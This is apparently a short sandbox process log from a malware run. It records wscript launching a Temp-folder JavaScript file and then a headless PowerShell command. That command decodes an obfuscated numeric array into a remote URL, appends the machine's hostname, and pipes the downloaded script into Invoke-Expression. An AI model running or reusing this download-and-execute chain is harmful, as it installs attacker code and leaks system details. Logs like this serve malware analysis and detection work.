wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\BLNR1389.js
3004conhost.exe conhost --headless powershell @(6242,6254,6254,6250,6196,6185,6185,6253,6238,6240,6249,6253,6184,6240,6255,6248,6185,6252,6254,6184,6250,6242,6250,6201,6243,6199)|foreach{$vjpcyh=$vjpcyh+[char]($_-6138)};$jhgomz='l';$tgz=$(hostname);new-alias trys cur$jhgomz;.$([char](7892-7787)+'ex')(trys -useb "$vjpcyh$tgz")
2188